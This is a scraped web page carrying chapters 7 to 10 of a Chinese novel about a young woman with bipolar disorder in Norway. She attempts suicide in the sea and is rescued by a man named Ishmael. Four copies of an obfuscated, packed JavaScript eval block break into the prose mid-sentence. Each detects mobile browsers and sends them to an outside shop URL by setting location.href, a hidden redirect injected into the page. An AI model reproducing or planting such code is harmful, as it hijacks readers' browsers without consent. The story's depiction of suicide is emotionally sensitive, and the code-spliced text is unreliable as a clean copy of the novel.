;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572856|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又重新注视你,一瞬间闪过的沧桑仿佛坠落的灯泡映射在玻璃上的余温。 如果我能感受到他的呼吸,那么相应的,他也能感受到我紧张的气息。他的视线在我脸庞上探索,勾起一抹深长的笑意,问:“Scared?” 我坚持一言不发,只用一双灵活的眼睛吸附于他的眼睛,他眼珠子怎么转我就怎么转。 如此僵持了一会儿,他目光玩味地欣赏我的嘴唇,以我刚好能察觉得到的速度缓慢向它靠近。 在我的刻板印象里,洋人们总是携带着厚重的体味,所以才有香水这种欲盖弥彰并且被称之为罗曼蒂克的商品。而他的身上,除了纠缠不休的烟味,还有一种浅色的凄苦的味道。如此形容的确乱了套,但那真真切切是一种苦味,黯淡得像烧干的中药。 我无法掩饰地喉咙发紧,在我双眼虚了焦的那一刻,他停了下来。 “如果有陌生人这么对你,你应该逃跑,而不是闭上眼睛。”他不咸不淡地说。 他从我身上离开,我顿时感到柳暗花明又一村,清新的氧气汹涌地填满我的胸腔。 他向怀里搂了搂大衣,微阖着眼自顾评价起我来: “你满脸都写着你有一个糟糕的童年,父母没有选择地把你生下来然后逃之夭夭,你成了不自在的试验品,所以养成了如此迟钝的性格。多么可怜的女孩,我应该将你好生照顾,给你买漂亮的裙子,带你去见识见识曼哈顿第五大道,不许你吸烟喝酒,不许你和学校橄榄球队的人渣队长谈恋爱。然后,然后再带你回墨西哥,当然,那时候你能喝一点小酒了,我的意思是,格瓦斯就足够了。怎么样,如果你叫我Daddy的话,你就有机会体验到我所说的一切。” 我望着他起起伏伏的喉结发呆,迂缓地问:“那挪威呢?” 他提到了美国提到了俄罗斯,那挪威呢?我们此时此刻脚下的这片土地呢?怎么在他的描述里,最真实的当下反而没有被提及呢? 他的神色如陈暮般安逸,吊儿郎当地说:“你不是很清楚吗,挪威比较适合离家出走和自杀。” 我抿了抿嘴,问:“你也离家出走了吗?” “不准确,我可以告诉你的是,我先毁了那个地方,然后再出走。” “你的家?” “Yes.” “你的家在哪儿?” “Here.” “我指的是被你毁掉的那个。” “哦,洛杉矶。” 我双手合十垫在脸颊下面当枕头,像一个渴望睡前故事的小孩一样用困乏的眼眸注视他。 我说:“你看上去不像美国人。” “Totallynot.”他对其嗤之以鼻,“他们比我高尚多了。”从语气听来他大概又是在阴阳怪气。“但是从血统上来说,我的确一半美国人一半俄罗斯人。上帝在我身上做的唯一一件好事就是留下了我妈百分之八十的基因,让我爸的基因和变异的部分挤在剩下的百分之二十里。” 他想到什么,转过脸来对我笑了一下,说:“你猜怎么着,我也有个糟糕的父亲。” 窗外开始飘小雨,挡风玻璃上浮现密密麻麻的水滴。我十分想打瞌睡,但还是就着他的话往下说:“或许,父亲本身就是一种疾病。”否则为何从这种身份里找出爱会如此艰难。 他调整了一下姿势,“行了,这又不是什么卖惨大会。我大发慈悲收留你,你给我做点中国菜,时候一到你就离开。” “嗯,谢谢你。”我似乎已经闭上了眼睛,看不见他的脸了,语言也变得含糊不清:“这是第几天了?” “第二天?第三天?为什么要这么在意时间?” 我的声音轻若羽毛,缓慢地落下:“因为……我只留下了七天……七天,我想……” 他没等到我的下文,也等不到了。 7. 第 7 章 在二位真正走向貌合神离的局面之前,我似乎也体验过一些虚假的家庭温情。妈妈把我抱在怀里,爸爸举着奶瓶哄我吃奶。他们喜欢逗我的人中,一戳我就皱眉,一戳我就皱眉,他们夸我可爱,竟然是个活生生的宝宝呢。 我飘在天花板上看着这样的场景,突然被吸进小婴儿的身体里,摸到了妈妈胸前冰凉的玉佩吊坠。 爸爸附身凑过来用胡渣磨我细嫩的脸颊,我感到疼,发出咿呀的抗拒。妈妈左右晃着我,玉佩也跟着晃,摇进我的手掌心。她托着我的屁股,架起我肉墩墩的两条腿,以怀抱做摇篮,轻哼不成调的曲子催眠我。 原来被人疼爱就是以怀抱做摇篮。 一时间天旋地转,车水马龙,人声嘈杂,妈妈胸前没了玉佩,怀抱不再是摇篮。在以后的时间里,我是他们彼此怨恨和拉扯的利器。 我从一出生就对他们抱有无望的期待,难免失落痛苦,好在养成了死性不改顺便自嘲一下的习惯,成功沦为一个清醒的神经病。 到底有多少年没见过妈妈了呢……好多年了,多到在我的记忆里,妈妈永远那样高大,我总需要向上看。还有她的模样,梳着斜刘海,垂下来的丸子头,纹过的眉毛,圆圆的眼睛,出色的脸型,温柔的下颚线。妈妈爱穿无袖连衣裙,在手腕上绑一条郁金香丝巾。妈妈的声音,我……不记得了。 那么,我又有多长时间没有梦见过妈妈了呢,以至于这场梦我不愿醒来,胶片定格在她抱我的时刻,我反复倒带反复重演,不愿醒来。 事实上,真的有人拖着我的屁股,架起我的双腿一路颠簸,只不过那人不似妈妈柔软,哼的也不是摇篮曲,他浑身坚如磐石,言语粗野:eon,我要把你丢进垃圾桶,现在立刻马上。” 你听,现实总是充满刺耳的声音。 我无力地往他怀里缩,紧贴他的左胸口。我是想开口说话的,还想睁开眼睛看看他生气的程度到第几级了,可这一场漫长又令人上瘾的打盹使我无法从梦境中抽离。 “你犯什么病了?” 我听见他说。 “等一下……”他的脸颊贴上我的,“你又发烧了?!Whatthehell!” 我被他放下,能感觉到我身体里的水分以及我的脑浆处于和海平面平行的状态。见过活虾被抛进沸腾的开水里的样子吗?仓皇逃窜仿佛天崩地裂,最后蜷缩成一团,红得鲜嫩可口。现在我的脑子正如沸水里半死不活的虾,乱得七零八落。如果现在有谁要吃掉我,我一点意见都没有。 他去了哪里,又回来了,带着声色俱厉的说教回来了。他扶起我的上半身,这下我彻底被摇匀,呕吐感呼之欲出。 “吃下去。”他说。 我很想做出反应,真的,可□□不是□□,声音也不再是声音。吃了药就会好的我知道,我一直都很听话,真的,我自己没有学问所以我很相信他们,再多的副作用我都可以忍,吃了药就会好的我知道。可□□不是□□,声音也不再是声音。 “拜托,连Timmy都比你聪明,来,张嘴,对,就是这样……Bytheway,Timmy是我以前养的一条金毛犬。” 他的云淡风轻和我的挣扎完全不在一个图层,但也多亏了他的比较,我不再内耗,转而想方设法和他一较高下——如果Timmy真有那样聪明,那它肯定和我一样讨厌他这张毒舌的嘴。 他亲手用大拇指撬开我的牙关,把胶囊推进了我的嘴里,随后掰住我的头灌进半杯水(大部分都洒出来了,天老爷,滴进毛领里可真不好受),一番操作下来,我的呕吐感竟然奇迹般得到了缓解,不知这是否是一种以毒攻毒。 “好孩子,你和她一样棒。”他语气里满是对Timmy的骄傲。 总而言之,我又被安置在了那张沙发上,需要等待高烧退去,醒来后向他道谢,然后去厨房大展拳脚做一桌中国菜报答他。既然如此,我就有必要想一想宫保鸡丁该怎么做。 …… 很可惜的是,我并没有未雨绸缪的好习惯,宫保鸡丁很快被老鼠药所代替。如何演变到这一步的说来话长: 我想趁着迷蒙继续回首温情岁月,却总觉得生硬,自导自演的低水平家庭情景剧似的,空洞又尴尬。作为导演我又舍不得放弃这部烂片,故而全方位寻找能够添加点睛之笔的地方。最后找到了一处不算精彩但足以令人唏嘘的一幕,便是我误食“老鼠药”的那一天。 那天我太想吃东西了,嘴巴馋的不行,味觉干枯无力,翻找卧室,在床头柜里找到一板奶片,白色圆形的扁扁的奶片,我不识字,但直觉告诉我这就是吃的。我拨开一片放进嘴里,竟什么味道也尝不出,干巴如墙皮,于是我很快放弃了它,并且出于罪恶感,哪怕味觉并没有得到满足,我也再也没有碰过其他东西,只能算自己倒霉。 然而,这小玩意儿虽然没有味道,却在我的口腔留下了不可磨灭的痕迹,令我愈发地心慌。妈妈回到家,我问她,床头柜里有吃的吗?她说没有。过了几个小时,我问她,那个不是吃的吗?她说别吃。我问为什么。她说,那是老鼠药。 半夜我辗转反侧,捂着肚子不敢入睡,冷汗直流,困得睁不开眼也不允许自己睡着,生怕睡着了就再也醒不来了。妈妈问我为什么动来动去。我不答。过了几分钟,我哭湿了枕头。 “妈妈,对不起,我吃了老鼠药,我要死了。” 台灯被点亮,妈妈靠在床头,看着我有些滑稽的哭相,说:“你什么时候吃的啊?” “下午。”我抽噎道。 “没关系,那不是老鼠药,妈妈骗你的,那是普通的维生素片,已经过期了,所以妈妈不让你吃。” “可是,可是我已经吃了一片,我会死吗?” “不会,最多肚子不舒服。你就是想这事儿想得睡不着?” “嗯……” “所以啊,妈妈是不是告诉你不要乱吃东西?以后不要乱吃东西了知道吗?万一真是老鼠药,后果不堪设想!” “嗯……” “好了,解决了,睡觉吧。” 好傻,太傻了。钉在我心上的耻辱感并没有因为那是一板过期的维生素片而非老鼠药而减轻多少。 我醒来的时候,天色已经退潮变得漆黑一片,总算不是扎眼的蓝调底色,那总给我一种太平间的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572857|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 话说的过早了,现在的氛围和太平间有过之无不及。整个屋子,不,整个世界安静得诡异,无风无雨,灯光是死的,雪也是死的。 我爬起来点亮台灯,蹑手蹑脚地走向卧室,将耳朵贴在门上,却什么也没听到。手放在门把上犹豫再三,鼓起勇气开了条门缝,用一边眼睛窥视,只见到了一团黑暗。 他不在家。 没有人在家。 又只有我一个人了。 我找到了他的笔记本电脑,屏幕显示时间为“1:32”,我是深夜和凌晨的常客,所以没有就此乱了阵脚。笔记本没有设密码,一点就开了。桌面上的软件和文件零零散散,位置毫无章法,和他乱序的房间一样。 他一定不是文字工作者,或者计算机行业的一份子,电脑对于他而言,只是个跟上时代发展的装饰。他上一次使用电脑,是打开翻译器和我交流的那一次,连网页都没关。 浏览器上方有一行收藏夹栏,他的收藏乱七八糟,不改名不分组,成分复杂:谷歌邮箱,亚马逊,油管,Por.nhub,谷歌翻译器……是个狠人。 曾经有一段时间我沉迷于在油管上锻炼英语,从看视频用英文字幕到无字幕听直播,给退休说书英国老奶奶打过赏,给嗓音神似贾斯丁比伯的主播发过“amazing”之类的评论,也给户外直播袋鼠生活的澳洲勇士点过赞。 再点开这个网站时,有一种高中时期进错班级的感觉,明明页面布局一模一样,但扑面而来的推荐机制宣判了我和他根本是两个赛道的人。 他喜欢看滑雪,派对狂潮,钓鱼,庄园拖拉机,灾难电影,波涛汹涌的红发女郎,穿紧身衣的短发女调酒师,色彩明艳烂醉像旋转在天空的巨大霓虹灯球。 屏幕映在我光怪陆离的脸上,我点开一个个网页,停留三十秒后关闭点击下一个,不会有人知道我在寻找什么,抑或是躲避什么。矛盾像贫瘠沙漠里坚韧的仙人掌,尖刺怒指太阳神阿波罗,在我的指尖扎根。 最后,有心无意下我还是找到了专属于本人眼角膜的海市蜃楼。 五分三十一秒的视频,讲述了一家三口穿着红橙黄绿青蓝紫彩虹般绚烂的骑行服,在万里无云的碧蓝天空下,沿着新加坡东海岸骑自行车。视频里的爸爸身材精瘦,一目了然的有氧运动爱好者,他骑在最前头,骑出老远,又掉头回来,引起妈妈的嗔怪,儿子的崇拜。儿子昨天刚过完十九岁的生日,个子比爸爸要高出半个头,体格也宽出两倍,这次骑行是因为在N大学即将展开的新生典礼上,他必须完成妈妈交代的穿上西装成为风流倜傥的新生代表的任务。 他们坐在草坪上晒太阳,他们痛快肆意地喝冷饮,他们互相擦汗,他们笑成一团,他们对着镜头比耶,他们发表人生感言,爸爸说为儿子骄傲,儿子说感谢父母,妈妈说儿子是她这辈子的幸福,评论说就算闻到了一丝老套演讲的气息但还是无比羡慕这样十全十美的家庭。这是一家三口半年前在油管上传的第一条Vlog,播放量5k。 而我也终于记起,妈妈的样子。 等我恢复感知与意识,刺骨的海水已经从衣领没入了我的胸膛。 8. 第 8 章 进绞肉机的过程从来都不只是纵身一跃,还需要平躺在传送带上接受白炽灯忽明忽灭的催眠。而我也终于明白,我一生都在逃避,逃避父母,逃避痛苦,逃避活着将面临的一切。“意义”这东西我当然郑重地搬上桌思考过,吃饭时必须把两只手都放到桌面上的意义,长姐如母给弟弟们收拾烂摊子的意义,大年初一爸爸在棋牌室接起我的电话的意义,允许陋习陷害我的精神和肉.体的意义,学习英语的意义,一个人办护照和签证的意义,来北欧的意义,敲响门的意义…… 原来我等的就是这个时刻,周围一切都张开血盆大口,而我是断了双腿苟延残喘的人类,一双血手爬出一道明朗的轨迹,我要死成为一种解放,不要连死都是一种虐待。 海! 完美的海! 没有木乃伊的布条。 柔软,汹涌!亲昵,霸道! 捂住我的耳朵, 汗毛展出翅膀。 这里有春夏秋冬没有鸟,所以 飞翔是自由的。 …… 我被人拽住胳膊,肺泡里全是水,头发披散如水鬼,胸膛起伏是死神和那人的拔河,我想为死神加油助威,又不想那人成为谋杀嫌疑犯。他的胡茬扎脸,嘴唇却温软,一口一口空气渡进我的口腔,威士忌浓度百分之十,香烟浓度百分之十,责骂浓度百分之十,“please”浓度百分之七十。 他在求我醒过来。 水从七窍流出,我重回人间。 “咳咳咳!”我虚弱无比。 “AreyouCRAZY?!”他抓住我的双肩,迫使我与他那双怒不可遏的眼睛对视,“看着我!睁开你的眼睛!如果我晚来一秒钟,你知不知道会发生什么?!哈!你当然知道!你就是来寻死的,我说的对吗?!那么你为什么要找上我,我说了,他妈的把眼睛睁开,这不是你睡觉的时候!” 他脸上每一块肌肉都在微微颤抖,眼白漫上红血丝,宝蓝色的瞳孔此时布满惊慌失措。我该向他说声对不起,如果可以,我还想抚摸他的脸庞,感受关心的形状,哪怕很陌生。 那之后的好长一段时间,我都处于虚无的无意识状态,没有做梦,没有思考。不得不说,这才是我理想中所谓“睡眠”的状态。我对于死亡的理解,就是以生命为代价换取至高无上的“睡眠”。 消毒水的味道率先刺激我的神经,我一点点恢复五感。睁开眼睛好一会儿眼珠子才能转动,在此之前我甚至想不起来我是谁。喉咙发干,腰酸背痛,被插上针管的左手手背冰冷僵滞。 “感觉怎么样,宝贝?”他坐在白色病床旁,将我毫无温度的手裹在掌心,神情却不如他磁性的嗓音有魅力,阴云密布,“一定感觉棒极了吧?睡饱了就去跳海,你在往什么方向进化?人鱼?还是海豚?嗯?”他吻了吻我的指尖,“你要死没人拦着你,偏偏你在我这里有个承诺。” 如果不去看他雾茫茫仿佛有凶兽出没的脸色的话,这听起来倒是一番罗曼蒂克的发言。他分明气极了,可还是救了我。 我痛苦地用尽全身力气扭动一寸,他按下按钮让病床倾斜,我得以支起上半身。 我用手指在他手心写字:Why? “为什么?我还想问你为什么呢!”他终于冷静不住,不自觉拔高音量,介于场合,他只好凑过来对我说:“说真的,你到底什么毛病?” 我仍旧说不出话,他得不到答案。在他靠近的刹那,五花八门复杂又怪谲的气味令我生理性作呕,不禁撇开了脸。 这一举动被他看见,无异于火上浇油。他掰正我的脸,眼神敏锐地锁定我。 “我很臭吗?为了救你跳进海里惹一身鱼腥味,严肃点,这很臭吗?” 我敢打包票,他身上不止鱼腥味那么简单,他脖子上还有吻痕,他皮肤那样白,很明显。我虚弱地拂开他的禁锢,环视了一圈环境。这个房间麻雀虽小五脏俱全,医疗设备杵在床头看得人心惶惶。我被换上病号服,里面什么都没有,好吧,这已经是仁至义尽,想来医生也不会提供全方位清洁服务。我的身上残留着和他一样的味道。 “你在看什么?从哪个窗户跳下去?”他坐回椅子上,双手抱胸,冷冰冰地说。 我摇头,缓慢地向他张开双手。 “What?”他皱起眉表示不理解。 我固执地不言不语,更加张开双臂。由于我眼神里的渴求几乎要溢出来,他半信半疑地靠近。在合适的距离,我挺身环住了他的脖子,将他抱进怀里。他惊诧,一下子僵住了身体,任由我不断的抱紧。 谢谢。 我在心里说。 我想甩掉这条贱命,却改不掉“期待”这种恶习,进而无限的时间变得有限,撕咬着嘴皮说“再等等再等等万一呢”,每每等不到或发现那些全是幻影,懦弱的我只干得出一件蠢事,那就是斩断时间解除后患。 不是有救了,是死透了。 无论如何,我都要谢谢他,在各种各样的陌生颜色里向我投掷不知姓名的英雄主义。这一生总要为自己办成一件事,好好地活过七天就是其中之一。不能连我自己都对自己言而无信,那也太可怜了。 “你现在是在向我撒娇吗?”他的声音从我后脑勺传来。 我松开他,对他点点头。只见他冷哧一声,捏住我的鼻子,迫使我张开嘴巴呼吸。 他说:“求生欲不是挺强的吗?为什么自杀?” 我垂下头,回想起缘由,顿时陷入黯然神伤。我在床边摸索到他的手机,闷闷地打字。 「Ihavebipolardisorder.Ican’tcontrol.」 我发誓,我绝没有卖惨的意思,只是觉得不得不对他坦白。在他面前,我的病耻感没有很强烈,他给人一种无论你是正常人还是重症精神病患者,他都会平等地唾弃你的感觉。 可我万万没想到,看到那一行文字后,他竟直直愣在那儿,默不作声。 怎么了?我开始感到紧张。他后悔自己惹上了头号麻烦吗?又或是破天荒地可怜我,用怜悯的目光为我祈祷吗?到底怎么了?给我个痛快! 良久,他才用一种几乎是自言自语的声调说:“Iknowit.” 他知道?他知道什么?早就知道我脑子出了问题?知道病症给我按上獠牙的同时又在我脖子上戴上项圈?知道我跳海是一时兴起把生命当作儿戏?还是知道这里有个缺爱的中国女人曾经不惜付出一切代价换取一点点的真心?不可能,他什么都不知道。 他粗糙地用双手抹了把脸,抬起头问我:“你饿了吗?来点三明治?” “?”什么跟什么,怎么是这个反应。 “拜托,睡了一晚上,光喝葡萄糖是不够的吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572858|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”他用下巴指了指我手上的吊针,“或者,来点披萨?不管了,反正我快饿晕了,你在这呆着不要乱跑,我去搞点吃的。” 他就这样在我稀里糊涂的目光里出去了。他一走,我的肚子就叫了,好像有什么东西在蠕动。我总是在糟蹋自己的身体,不把疼痛当回事儿,唯独拒绝不了口腹之欲。他会就此甩开我吗?我不禁想到。也许他不会回来了,也许我该再睡一觉。 但我不舍得再睡了,听了太多“早起!自律!咬牙!坚持!”的口号,睡太久会条件反射地产生罪恶感,我称之为积极向上的虚无,一旦催化出这种思想就再也改不掉了,很少人知道巴甫洛夫在实验结束后是怎样处理狗的。 无聊之余,我在输液架上发现了病历本。一个半巴掌的大小,和旅行册子一样,很适合在外随身携带时不时拿出来招摇过市一下展示本人有病的事实。 他回来的时候我下了床正准备去解手,排去我身体里最后的海水。不得不说我的肾功能非常健康,一觉睡下来海水在我肚子里起码走了两遭,目前压力给到膀胱。 “你要去哪儿?”他犀利的眼神让我急上加急。 “洗手间。”我说。顺带吓了自己一跳,我的嗓音听上去烟龄比他还要高。 他与我擦肩而过时我闻到了披萨的香味,还有白花花的鱼汤。他放下食物,帮我推走点滴架,见我不动,贴心但不正经地问道:“需要我抱你?” “……”我迈着坎坷的步伐向前走。 本来,这是一件极其原始且毫无心理负担的行动,毁就毁在他光明正大地站在门口,和脱了裤子的我仅一门之隔。 “你能,走开一会儿吗?”我说。 “没门。”冷酷无情的声音飘进来。 “你站在那,我做不到。” “为什么?没人教过你怎么撒尿?” “……” 我妥协了,连带着模糊的羞耻心一起冲进马桶,走出来的时候没给他好脸色看。 不过鱼汤还算美味,一股暖流安抚了我的胃。而他却不似之前那样有胃口,咀嚼的样子略微显得老态龙钟,胡茬上沾了芝士。 “谁是Ishmael?”我突兀地问道。 他看了我一眼,回答:“Me.” 啊,过了这么多天我才知道他的名字。 “然后,你的生日在四月七日吗?”我继续盘问。 这次他没回答,很快发现了端倪,瞥到点滴架上挂着的病历本彻底反应过来怎么回事,说:“我能怎么办?为了救你只能牺牲自己的身份,你又没告诉过我你的名字,没关系,那也不是什么大事,你没告诉我的东西多了去了,对吧?”他正话反说。 我抿了抿嘴,说:“谢谢。” 他吃完一块披萨,用纸擦拭双手,定睛看着我,“不是吧,我都说到这份上了,你还不愿告诉我你的名字?” “……” 我当然听出来他字里行间的讽刺,可我的姓名适合在大呼小叫的场景下被千夫所指使唤来使唤去,更准确点说,是实在拿不出手,我不想成为我的姓名,所以我不想说。 都说外国人名都很长,节肢动物似的,或许…… “或许你能分点名字给我吗?”我眨巴眼睛。 “??” “不能吗?” “你他妈说的是英文吗?” 9. 第 9 章 白拿人姓名这事儿的确无理取闹,荒谬至极,除非我嫁给他,那更荒谬。我低下头,嗫嚅道:“我不喜欢我的名字。” “没关系,我理解。”他能有少见的大度,必有更讽刺的在后面:“你甚至不喜欢活着。” 此言差矣,在我喝完了鱼汤之后,又觉得活着也挺有一番滋味。我重新躺回床上,正好这时护士进来检查我的身体。当你想装哑巴而同伴恰好巧舌如簧的时候,你的安全感就会得到十成满足。我只需要全程保持生活不能自理的痴呆样,他们便可以放心的对我进行批改。 我的左手终于从吊针解放,仿佛终于进化出腮再也不用依赖氧气瓶的潜水运动员,抬起放下胳膊的动作变得很自由。 他跟着护士出去了一趟,回来时手上多出几张纸和一袋药品。刚刚没有仔细听他在护士面前是如何安置我的身份的,血缘关系肯定扯不上一点儿,那么,我们应该算成为朋友了。 他食指勾着塑料袋,晃来晃去,精准晃到我的脚边。 “有个涂脚上的药膏,一天两次。”他说。 他不提我还忘了脚上的陈年旧伤,击打伤再加上严重冻伤,没闹到截肢那一步我都觉得只是掉掉眼泪的事,双脚的基本功能不受损就行。 为了接住他的好心,我找到了里头唯一的外用药,挤在掌心小心翼翼地涂在伤口上——治愈的过程比受伤的瞬间煎熬多了。疼得我眼泪一下子涌进眼眶,背过身去不在他面前露怯,生怕他张口就来一句阴阳怪气的解说。 “你以为你转过去我就看不到了?” “……” 烦。 病房内禁烟,他似乎陷入了一种无所事事的焦躁,玩不了别的,那就只能玩我了。 “喂,你,”当然,他不知道我的名字只能这样叫我,“你不打算回去了是吗?” 听懂那句话的意思,我背脊一颤,惊慌地看向他。 “……我的意思是,你的家。”他面露于心不忍,解释道。 我肉眼可见地松了一口气,对他点点头。怎么可能还回去,我好不容易逃出来,天塌了我都不可能再回去。 “但是你要知道,”他说话变得缓慢,往里头加入了思考,这一点让我有些受宠若惊,他竟然乐意对我拐弯抹角,“你并不是死路一条。” 这句我听不懂了,我成了现在这个样子,生命的蜡烛摇摇欲坠,如果除了死亡还有其他归路,如果要我重新燃起对生活而非生存的热情,根本是天方夜谭。再说了,我身无分文,还能往哪条路走?除非—— 我歪了歪头,问他:“你要喂养我吗?” 话音刚落,我猛地意识到这里该用adopt,而不是feed...... 我撇开视线,同时听见他轻笑了一声,说:“没准我会考虑考虑,Timmy。” “……”现在好了,我和他的狗共用一个名字。 “好的Timmy宝贝,睡觉时间到了!”他自说自话地替我盖上被子,没给我开口的机会,接着说道:“这里有数独游戏,那里还有一些书,英文版本,无聊了就按这个按钮叫个护士陪你玩,清楚了吗?我晚上再来看你。” 我抓住他的手,问:“你要去哪儿?” 他嘴角抽搐无语:“拜托,我臭死了。” 原来是回家洗澡,我松开了手,突然想到什么,又抓了回去。 “你能早点回来吗?”我问。 他挑了挑眉,似乎非常享受我的依赖,说:“为什么?我很忙的。” “你没工作。” “Uhhuh,但我有别的事要做。” “带上我一起!不是……带到这里来!也不是……”我手心出了汗,央求道:“那你能快一点吗?” 他听不懂我的语无伦次,问:“你到底想说什么?” 算了算了,没人能拒绝吃喝玩乐,再求下去我要得红眼病了。我放手,捂紧被子,闷声说:“Nothing.” 我捂住嘴,他掀开,我捂住,他掀开,一只手抓住我的两只手腕。 “说清楚点。” 我咬咬牙,坦白道:“我害怕,你会留在她那,忘记我了。” “她?谁?” “跟你做. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572859|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的某人。” 他更加困惑,眉头皱成一块儿,问:“谁跟我做.爱?我自己怎么不知道?”他低头一本正经地问:“你知道吗?”抬头,“它也不知道。所以你怎么知道?” “……” 我真不喜欢他的明知故问,于是指了指他的脖子,说:“这个。” 他半信半疑,起身去卫生间察看,远远地传来声音:“Holy——它简直和真的一样!” 真羡慕啊,有那样快活的体验,太阳就算不升起忧郁也畏惧他们鲜活的身体。好事怎么就轮不到我头上,来的净是些疼痛和嘶哑的魔鬼,亚当和夏娃尝的禁果根本就不是一种味道,是五味杂陈,谁幸运谁咬到甜的那一口。 不听不听,王八念经。我侧躺背对着他,听到他越来越近的脚步声我干脆把眼睛也闭上。谁知他特意绕半圈蹲在我面前,下巴抵在枕边,一个劲地看我此时此刻的表情。 “你为什么这么生气?那是生气吗?” 谁知道。 “你就那么担心我抛弃你?” 别把我说的那样矫情。 “Timmy?” 我忍无可忍,狠狠瞪眼,推开他的脸,叫道:“我不叫Timmy!” 他笑了,说了一句我听不懂的话。 “穆里斯,穆里斯,好可爱。” 我想咬死他。 他什么时候能改改随时随地挑逗人的坏习惯,兔子急了还咬人呢,也就是我看上去手无缚鸡之力,如果我肌肉发达眼珠子外突,一抹脸黑得跟张飞似的,就不信他还敢这样取笑我。 更不会,摸我的头弄乱我的头发。 “听着,我不会丢下你,”他定睛看着我,我才发现他的眼白早已渗出红血丝,“所以你也别再给我惹出几千克朗的麻烦事,deal?” “……”我低下头,不再反抗他在我头上胡作非为过的手,用中文沮丧地答应下来:“行吧。” “?”他发出疑惑的音调,问:“那是什么意思?” 我吸了吸鼻子,翻过身去,胡言乱语:“OfuckingK.” 10. 第 10 章 我睡了一觉,醒来后又做了一会儿数独,记得初高中那会儿我还是理科脑袋,数学逻辑玩得贼利索,随大流报名了数学竞赛居然还能得个省级小奖,人生难得的信手拈来是数学给的,因此,人生最明显的落差感也是数学给的。 我不过是在高三某一天的晚自习偷偷溜出来,坐在食堂附近的那条紫藤萝长廊里,和月亮对话了一节课而已,回去之后,公式和算法便彻底疏远了我。 明显感觉解题速度变慢了,逻辑变弱了,以前能解出来的题,现在竟然需要用“太粗心”这种不合理的借口来解围了。用久了的灯泡你会发现再怎么敲打它也无法变得跟先前一样明亮了。 那时候,我责怪自己在不该停下来的时候停了下来。 自那以后我再也找不回解难题的快感,只有难看的沾沾自喜,比如眼下做出9x9数独时我的窃笑。 英文书我也挑了几本翻阅,印刷字密密麻麻看得我头疼,作罢。 至于护士,我没有按铃她就来了。还是那个给我拔针的护士,她给我量了体温,嘱咐我吃药,她讲英文有翘舌的习惯,眉毛一挑一挑的,很有趣。 “请问,我什么时候能出院?”我柔声问。 那对眉毛忽地皱在一起,下面一双眼睛瞪大,再下面一张嘴说:“不,你不能逃跑。” “什么?” “你朋友告诉过我,不能放你走,不然你又会随便找一片湖练习自由泳。” “……” “就是这样。”她肯定道,又好心地规劝起我来:“就算你再怎么热爱游泳,也得至少找个安全又舒适的游泳池吧!” 真的,她的眉毛可爱极了,我目不转睛。 “你笑什么?”她对我说。 原来我在笑吗?很明显吗?真是难为情! “没什么,”我说是这样说,但并没有打算收敛笑容,“只是觉得你真好看。” 护士愣了愣,随后脸上倒映出和我一样的笑容,眼神也变得慈祥起来,“谢谢,你也很美,明天早上你就能出院了,祝你早日康复!” 我望着她离去的背影,就此视线便停留在门口,发上一把好长的呆。 是的,别的什么我都不想做了,只等他回来。 …… 伊实推开门的那一刻——我打算叫他伊实,少费点口舌——看到的正是我板板正正坐在床头,仿佛料到他这时候要进门的样子。 我等了不少时间,好在是心甘情愿等的。他换了身行头,下巴干净了很多,整个人显得朝气蓬勃。 “看到了吧,老子回来了。”他风尘仆仆地走进来,脱下大衣,身上还带了一股烟味。 我学着他的语气,说:“看到了吧,老娘没逃跑。” 他转过头来和我对视,见到我的老实样又转了回去。他带回来几个购物袋,我奇怪他怎么还有闲情逸致去逛街,又想想总比精力都消耗在床上最后一拍脑袋睡过去要强。 出乎意料的是,他从购物袋里拿出来几件女装,举起来对着我比划了两下,咂声道:“买大了。” “……”给我的啊? 我大气不敢喘,生怕自己自作多情了。没人给我买过衣服,除了高中班主任帮我垫付校服费用那次,好吧,听起来有些牵强,事实就是,没人给我买过衣服。 